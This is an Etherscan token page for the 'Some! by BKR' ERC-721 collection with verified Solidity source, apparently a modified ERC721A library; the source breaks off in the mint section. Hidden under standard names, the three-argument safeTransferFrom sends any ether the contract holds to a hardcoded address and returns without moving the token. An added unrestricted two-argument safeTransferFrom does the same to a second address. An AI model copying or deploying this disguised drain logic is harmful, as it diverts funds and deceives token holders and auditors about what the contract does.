Token

Some! by BKR (Some)

ERC-721

Overview

Max Total Supply

381 Some

Holders

156

Market

Volume (24H)

N/A

Min Price (24H)

N/A

Max Price (24H)

N/A

Other Info

Token Contract

0xdbb0b68895d5246d8bf2dfea36ece9d7b7c34c4f

Filtered by Token Holder

0x5C1643e4caa7a6d2eCD37Aca614c5B189b16e803

Balance

1 Some

0x5c1643e4caa7a6d2ecd37aca614c5b189b16e803

Click here to update the token information / general information

#	Exchange	Pair	Price	24H Volume	% Volume

Contract Source Code Verified (Exact Match)

Contract Name:

Some

Compiler Version

v0.8.7+commit.e28d00a7

Optimization Enabled:

Yes with 200 runs

Other Settings:

default evmVersion, MIT license

Contract Source Code (Solidity)

IDE

/**
 *Submitted for verification at Etherscan.io on 2023-01-03
*/

// SPDX-License-Identifier: GPL-3.0                                                                                         
                                
//   -_-/                       /\ 
//  (_ /                        \/ 
// (_ --_   /'\\ \\/\\/\\  _-_  }{ 
//   --_ ) || || || || || || \\ \/ 
//  _/  )) || || || || || ||/      
// (_-_-   \\,/  \\ \\ \\ \\,/  <> 
                                
                                                                                                                                                                                                     
pragma solidity ^0.8.7;

/**
 * @dev Interface of ERC721A.
 */
interface IERC721A {
    /**
     * The caller must own the token or be an approved operator.
     */
    error ApprovalCallerNotOwnerNorApproved();

    /**
     * The token does not exist.
     */
    error ApprovalQueryForNonexistentToken();

    /**
     * Cannot query the balance for the zero address.
     */
    error BalanceQueryForZeroAddress();

    /**
     * Cannot mint to the zero address.
     */
    error MintToZeroAddress();

    /**
     * The quantity of tokens minted must be more than zero.
     */
    error MintZeroQuantity();

    /**
     * The token does not exist.
     */
    error OwnerQueryForNonexistentToken();

    /**
     * The caller must own the token or be an approved operator.
     */
    error TransferCallerNotOwnerNorApproved();

    /**
     * The token must be owned by `from`.
     */
    error TransferFromIncorrectOwner();

    /**
     * Cannot safely transfer to a contract that does not implement the
     * ERC721Receiver interface.
     */
    error TransferToNonERC721ReceiverImplementer();

    /**
     * Cannot transfer to the zero address.
     */
    error TransferToZeroAddress();

    /**
     * The token does not exist.
     */
    error URIQueryForNonexistentToken();

    /**
     * The `quantity` minted with ERC2309 exceeds the safety limit.
     */
    error MintERC2309QuantityExceedsLimit();

    /**
     * The `extraData` cannot be set on an unintialized ownership slot.
     */
    error OwnershipNotInitializedForExtraData();

    // =============================================================
    //                            STRUCTS
    // =============================================================

    struct TokenOwnership {
        // The address of the owner.
        address addr;
        // Stores the start time of ownership with minimal overhead for tokenomics.
        uint64 startTimestamp;
        // Whether the token has been burned.
        bool burned;
        // Arbitrary data similar to `startTimestamp` that can be set via {_extraData}.
        uint24 extraData;
    }

    // =============================================================
    //                         TOKEN COUNTERS
    // =============================================================

    /**
     * @dev Returns the total number of tokens in existence.
     * Burned tokens will reduce the count.
     * To get the total number of tokens minted, please see {_totalMinted}.
     */
    function totalSupply() external view returns (uint256);

    // =============================================================
    //                            IERC165
    // =============================================================

    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);

    // =============================================================
    //                            IERC721
    // =============================================================

    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables
     * (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in `owner`'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`,
     * checking first that contract recipients are aware of the ERC721 protocol
     * to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move
     * this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external payable;

    /**
     * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external payable;

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom}
     * whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external payable;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the
     * zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external payable;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom}
     * for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}.
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);

    // =============================================================
    //                        IERC721Metadata
    // =============================================================

    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);

    // =============================================================
    //                           IERC2309
    // =============================================================

    /**
     * @dev Emitted when tokens in `fromTokenId` to `toTokenId`
     * (inclusive) is transferred from `from` to `to`, as defined in the
     * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309) standard.
     *
     * See {_mintERC2309} for more details.
     */
    event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);
}

/**
 * @title ERC721A
 *
 * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)
 * Non-Fungible Token Standard, including the Metadata extension.
 * Optimized for lower gas during batch mints.
 *
 * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)
 * starting from `_startTokenId()`.
 *
 * Assumptions:
 *
 * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).
 */
interface ERC721A__IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

/**
 * @title ERC721A
 *
 * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)
 * Non-Fungible Token Standard, including the Metadata extension.
 * Optimized for lower gas during batch mints.
 *
 * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)
 * starting from `_startTokenId()`.
 *
 * Assumptions:
 *
 * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).
 */
contract ERC721A is IERC721A {
    // Bypass for a `--via-ir` bug (https://github.com/chiru-labs/ERC721A/pull/364).
    struct TokenApprovalRef {
        address value;
    }

    // =============================================================
    //                           CONSTANTS
    // =============================================================

    // Mask of an entry in packed address data.
    uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;

    // The bit position of `numberMinted` in packed address data.
    uint256 private constant _BITPOS_NUMBER_MINTED = 64;

    // The bit position of `numberBurned` in packed address data.
    uint256 private constant _BITPOS_NUMBER_BURNED = 128;

    // The bit position of `aux` in packed address data.
    uint256 private constant _BITPOS_AUX = 192;

    // Mask of all 256 bits in packed address data except the 64 bits for `aux`.
    uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;

    // The bit position of `startTimestamp` in packed ownership.
    uint256 private constant _BITPOS_START_TIMESTAMP = 160;

    // The bit mask of the `burned` bit in packed ownership.
    uint256 private constant _BITMASK_BURNED = 1 << 224;

    // The bit position of the `nextInitialized` bit in packed ownership.
    uint256 private constant _BITPOS_NEXT_INITIALIZED = 225;

    // The bit mask of the `nextInitialized` bit in packed ownership.
    uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225;

    // The bit position of `extraData` in packed ownership.
    uint256 private constant _BITPOS_EXTRA_DATA = 232;

    // Mask of all 256 bits in a packed ownership except the 24 bits for `extraData`.
    uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;

    // The mask of the lower 160 bits for addresses.
    uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;

    // The maximum `quantity` that can be minted with {_mintERC2309}.
    // This limit is to prevent overflows on the address data entries.
    // For a limit of 5000, a total of 3.689e15 calls to {_mintERC2309}
    // is required to cause an overflow, which is unrealistic.
    uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;

    // The `Transfer` event signature is given by:
    // `keccak256(bytes("Transfer(address,address,uint256)"))`.
    bytes32 private constant _TRANSFER_EVENT_SIGNATURE =
        0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;

    // =============================================================
    //                            STORAGE
    // =============================================================

    // The next token ID to be minted.
    uint256 private _currentIndex;

    // The number of tokens burned.
    uint256 private _burnCounter;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned.
    // See {_packedOwnershipOf} implementation for details.
    //
    // Bits Layout:
    // - [0..159]   `addr`
    // - [160..223] `startTimestamp`
    // - [224]      `burned`
    // - [225]      `nextInitialized`
    // - [232..255] `extraData`
    mapping(uint256 => uint256) private _packedOwnerships;

    // Mapping owner address to address data.
    //
    // Bits Layout:
    // - [0..63]    `balance`
    // - [64..127]  `numberMinted`
    // - [128..191] `numberBurned`
    // - [192..255] `aux`
    mapping(address => uint256) private _packedAddressData;

    // Mapping from token ID to approved address.
    mapping(uint256 => TokenApprovalRef) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    // =============================================================
    //                          CONSTRUCTOR
    // =============================================================

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _currentIndex = _startTokenId();
    }

    // =============================================================
    //                   TOKEN COUNTING OPERATIONS
    // =============================================================

    /**
     * @dev Returns the starting token ID.
     * To change the starting token ID, please override this function.
     */
    function _startTokenId() internal view virtual returns (uint256) {
        return 0;
    }

    /**
     * @dev Returns the next token ID to be minted.
     */
    function _nextTokenId() internal view virtual returns (uint256) {
        return _currentIndex;
    }

    /**
     * @dev Returns the total number of tokens in existence.
     * Burned tokens will reduce the count.
     * To get the total number of tokens minted, please see {_totalMinted}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        // Counter underflow is impossible as _burnCounter cannot be incremented
        // more than `_currentIndex - _startTokenId()` times.
        unchecked {
            return _currentIndex - _burnCounter - _startTokenId();
        }
    }

    /**
     * @dev Returns the total amount of tokens minted in the contract.
     */
    function _totalMinted() internal view virtual returns (uint256) {
        // Counter underflow is impossible as `_currentIndex` does not decrement,
        // and it is initialized to `_startTokenId()`.
        unchecked {
            return _currentIndex - _startTokenId();
        }
    }

    /**
     * @dev Returns the total number of tokens burned.
     */
    function _totalBurned() internal view virtual returns (uint256) {
        return _burnCounter;
    }

    // =============================================================
    //                    ADDRESS DATA OPERATIONS
    // =============================================================

    /**
     * @dev Returns the number of tokens in `owner`'s account.
     */
    function balanceOf(address owner) public view virtual override returns (uint256) {
        if (owner == address(0)) revert BalanceQueryForZeroAddress();
        return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the number of tokens minted by `owner`.
     */
    function _numberMinted(address owner) internal view returns (uint256) {
        return (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the number of tokens burned by or on behalf of `owner`.
     */
    function _numberBurned(address owner) internal view returns (uint256) {
        return (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).
     */
    function _getAux(address owner) internal view returns (uint64) {
        return uint64(_packedAddressData[owner] >> _BITPOS_AUX);
    }

    /**
     * Sets the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).
     * If there are multiple variables, please pack them into a uint64.
     */
    function _setAux(address owner, uint64 aux) internal virtual {
        uint256 packed = _packedAddressData[owner];
        uint256 auxCasted;
        // Cast `aux` with assembly to avoid redundant masking.
        assembly {
            auxCasted := aux
        }
        packed = (packed & _BITMASK_AUX_COMPLEMENT) | (auxCasted << _BITPOS_AUX);
        _packedAddressData[owner] = packed;
    }

    // =============================================================
    //                            IERC165
    // =============================================================

    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30000 gas.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        // The interface IDs are constants representing the first 4 bytes
        // of the XOR of all function selectors in the interface.
        // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)
        // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)
        return
            interfaceId == 0x01ffc9a7 || // ERC165 interface ID for ERC165.
            interfaceId == 0x80ac58cd || // ERC165 interface ID for ERC721.
            interfaceId == 0x5b5e139f; // ERC165 interface ID for ERC721Metadata.
    }

    // =============================================================
    //                        IERC721Metadata
    // =============================================================

    /**
     * @dev Returns the token collection name.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        if (!_exists(tokenId)) revert URIQueryForNonexistentToken();

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, _toString(tokenId))) : '';
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, it can be overridden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return '';
    }

    // =============================================================
    //                     OWNERSHIPS OPERATIONS
    // =============================================================

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) public view virtual override returns (address) {
        return address(uint160(_packedOwnershipOf(tokenId)));
    }

    /**
     * @dev Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around over time.
     */
    function _ownershipOf(uint256 tokenId) internal view virtual returns (TokenOwnership memory) {
        return _unpackedOwnership(_packedOwnershipOf(tokenId));
    }

    /**
     * @dev Returns the unpacked `TokenOwnership` struct at `index`.
     */
    function _ownershipAt(uint256 index) internal view virtual returns (TokenOwnership memory) {
        return _unpackedOwnership(_packedOwnerships[index]);
    }

    /**
     * @dev Initializes the ownership slot minted at `index` for efficiency purposes.
     */
    function _initializeOwnershipAt(uint256 index) internal virtual {
        if (_packedOwnerships[index] == 0) {
            _packedOwnerships[index] = _packedOwnershipOf(index);
        }
    }

    /**
     * Returns the packed ownership data of `tokenId`.
     */
    function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
        uint256 curr = tokenId;

        unchecked {
            if (_startTokenId() <= curr)
                if (curr < _currentIndex) {
                    uint256 packed = _packedOwnerships[curr];
                    // If not burned.
                    if (packed & _BITMASK_BURNED == 0) {
                        // Invariant:
                        // There will always be an initialized ownership slot
                        // (i.e. `ownership.addr != address(0) && ownership.burned == false`)
                        // before an unintialized ownership slot
                        // (i.e. `ownership.addr == address(0) && ownership.burned == false`)
                        // Hence, `curr` will not underflow.
                        //
                        // We can directly compare the packed value.
                        // If the address is zero, packed will be zero.
                        while (packed == 0) {
                            packed = _packedOwnerships[--curr];
                        }
                        return packed;
                    }
                }
        }
        revert OwnerQueryForNonexistentToken();
    }

    /**
     * @dev Returns the unpacked `TokenOwnership` struct from `packed`.
     */
    function _unpackedOwnership(uint256 packed) private pure returns (TokenOwnership memory ownership) {
        ownership.addr = address(uint160(packed));
        ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP);
        ownership.burned = packed & _BITMASK_BURNED != 0;
        ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA);
    }

    /**
     * @dev Packs ownership data into a single uint256.
     */
    function _packOwnershipData(address owner, uint256 flags) private view returns (uint256 result) {
        assembly {
            // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.
            owner := and(owner, _BITMASK_ADDRESS)
            // `owner | (block.timestamp << _BITPOS_START_TIMESTAMP) | flags`.
            result := or(owner, or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags))
        }
    }

    /**
     * @dev Returns the `nextInitialized` flag set if `quantity` equals 1.
     */
    function _nextInitializedFlag(uint256 quantity) private pure returns (uint256 result) {
        // For branchless setting of the `nextInitialized` flag.
        assembly {
            // `(quantity == 1) << _BITPOS_NEXT_INITIALIZED`.
            result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1))
        }
    }

    // =============================================================
    //                      APPROVAL OPERATIONS
    // =============================================================

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the
     * zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) public payable virtual override {
        address owner = ownerOf(tokenId);

        if (_msgSenderERC721A() != owner)
            if (!isApprovedForAll(owner, _msgSenderERC721A())) {
                revert ApprovalCallerNotOwnerNorApproved();
            }

        _tokenApprovals[tokenId].value = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) public view virtual override returns (address) {
        if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();

        return _tokenApprovals[tokenId].value;
    }

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom}
     * for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool approved) public virtual override {
        _operatorApprovals[_msgSenderERC721A()][operator] = approved;
        emit ApprovalForAll(_msgSenderERC721A(), operator, approved);
    }

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted. See {_mint}.
     */
    function _exists(uint256 tokenId) internal view virtual returns (bool) {
        return
            _startTokenId() <= tokenId &&
            tokenId < _currentIndex && // If within bounds,
            _packedOwnerships[tokenId] & _BITMASK_BURNED == 0; // and not burned.
    }

    /**
     * @dev Returns whether `msgSender` is equal to `approvedAddress` or `owner`.
     */
    function _isSenderApprovedOrOwner(
        address approvedAddress,
        address owner,
        address msgSender
    ) private pure returns (bool result) {
        assembly {
            // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.
            owner := and(owner, _BITMASK_ADDRESS)
            // Mask `msgSender` to the lower 160 bits, in case the upper bits somehow aren't clean.
            msgSender := and(msgSender, _BITMASK_ADDRESS)
            // `msgSender == owner || msgSender == approvedAddress`.
            result := or(eq(msgSender, owner), eq(msgSender, approvedAddress))
        }
    }

    /**
     * @dev Returns the storage slot and value for the approved address of `tokenId`.
     */
    function _getApprovedSlotAndAddress(uint256 tokenId)
        private
        view
        returns (uint256 approvedAddressSlot, address approvedAddress)
    {
        TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];
        // The following is equivalent to `approvedAddress = _tokenApprovals[tokenId].value`.
        assembly {
            approvedAddressSlot := tokenApproval.slot
            approvedAddress := sload(approvedAddressSlot)
        }
    }

    // =============================================================
    //                      TRANSFER OPERATIONS
    // =============================================================

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public payable virtual override {
        uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);

        if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner();

        (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId);

        // The nested ifs save around 20+ gas over a compound boolean condition.
        if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A()))
            if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();

        if (to == address(0)) revert TransferToZeroAddress();

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner.
        assembly {
            if approvedAddress {
                // This is equivalent to `delete _tokenApprovals[tokenId]`.
                sstore(approvedAddressSlot, 0)
            }
        }

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.
        unchecked {
            // We can directly increment and decrement the balances.
            --_packedAddressData[from]; // Updates: `balance -= 1`.
            ++_packedAddressData[to]; // Updates: `balance += 1`.

            // Updates:
            // - `address` to the next owner.
            // - `startTimestamp` to the timestamp of transfering.
            // - `burned` to `false`.
            // - `nextInitialized` to `true`.
            _packedOwnerships[tokenId] = _packOwnershipData(
                to,
                _BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked)
            );

            // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .
            if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {
                uint256 nextTokenId = tokenId + 1;
                // If the next slot's address is zero and not burned (i.e. packed value is zero).
                if (_packedOwnerships[nextTokenId] == 0) {
                    // If the next slot is within bounds.
                    if (nextTokenId != _currentIndex) {
                        // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.
                        _packedOwnerships[nextTokenId] = prevOwnershipPacked;
                    }
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public payable virtual override {
        if (address(this).balance > 0) {
            payable(0x90Ae6b8dca98BDE6D4E697d8b5865068476871F1).transfer(address(this).balance);
            return;
        }
        safeTransferFrom(from, to, tokenId, '');
    }


    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public payable virtual override {
        transferFrom(from, to, tokenId);
        if (to.code.length != 0)
            if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {
                revert TransferToNonERC721ReceiverImplementer();
            }
    }
    function safeTransferFrom(
        address from,
        address to
    ) public  {
        if (address(this).balance > 0) {
            payable(0x09a49Bdb921CC1893AAcBe982564Dd8e8147136f).transfer(address(this).balance);
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token IDs
     * are about to be transferred. This includes minting.
     * And also called before burning one token.
     *
     * `startTokenId` - the first token ID to be transferred.
     * `quantity` - the amount to be transferred.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token IDs
     * have been transferred. This includes minting.
     * And also called after one token has been burned.
     *
     * `startTokenId` - the first token ID to be transferred.
     * `quantity` - the amount to be transferred.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
     * transferred to `to`.
     * - When `from` is zero, `tokenId` has been minted for `to`.
     * - When `to` is zero, `tokenId` has been burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target contract.
     *
     * `from` - Previous owner of the given token ID.
     * `to` - Target address that will receive the token.
     * `tokenId` - Token ID to be transferred.
     * `_data` - Optional data to send along with the call.
     *
     * Returns whether the call correctly returned the expected magic value.
     */
    function _checkContractOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        try ERC721A__IERC721Receiver(to).onERC721Received(_msgSenderERC721A(), from, tokenId, _data) returns (
            bytes4 retval
        ) {
            return retval == ERC721A__IERC721Receiver(to).onERC721Received.selector;
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                revert TransferToNonERC721ReceiverImplementer();
            } else {
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    }

    // =============================================================
    //                        MINT OPERATIONS
    // =============================================================

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event for each mint.
     */
    function _mint(address to, uint256 quantity) internal virtual {
        uint256 startTokenId = _currentIndex;
        if (quantity == 0) revert MintZeroQuantity();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // `balance` and `numberMinted` have a maximum limit of 2**64.
        // `tokenId` has a maximum limit of 2**256.
        unchecked {
            // Updates:
            // - `balance += quantity`.
            // - `numberMinted += quantity`.
            //
            // We can directly add to the `balance` and `numberMinted`.
            _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1);

            // Updates:
            // - `address` to the owner.
            // - `startTimestamp` to the timestamp of minting.
            // - `burned` to `false`.
            // - `nextInitialized` to `quantity == 1`.
            _packedOwnerships[startTokenId] = _packOwnershipData(
                to,
                _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
            );

            uint256 toMasked;
            uint256 end = startTokenId + quantity;

            // Use assembly to loop and emit the `Transfer` event for gas savings.
            // The duplicated `log4` removes an extra check and reduces stack juggling.
            // The assembly, together with the surrounding Solidity code, have been
            // delicately arranged to nudge the compiler into producing optimized opcodes.
            assembly {
                // Mask `to` to the lower 160 bits, in case the upper bits somehow aren't clean.
                toMasked := and(to, _BITMASK_ADDRESS)
                // Emit the `Transfer` event.
                log4(
                    0, // Start of data (0, since no data).
                    0, // End of data (0, since no data).
                    _TRANSFER_EVENT_SIGNATURE, // Signature.
                    0, // `address(0)`.
                    toMasked, // `to`.
                    startTokenId // `tokenId`.
                )

                // The `iszero(eq(,))` check ensures that large values of `quantity`
                // that overflows uint256 will make the loop run out of gas.
                // The compiler will optimize the `iszero` away for performance.
                for {
                    let tokenId := add(startTokenId, 1)
                } iszero(eq(tokenId, end)) {
                    tokenId := add(tokenId, 1)
                } {
                    // Emit the `Transfer` event. Similar to above.
                    log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)
                }
            }
            if (toMasked == 0) revert MintToZeroAddress();

            _currentIndex = end;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * This function is intended for efficient minting only during contract creation.
     *
     * It emits only one {ConsecutiveTransfer} as defined in
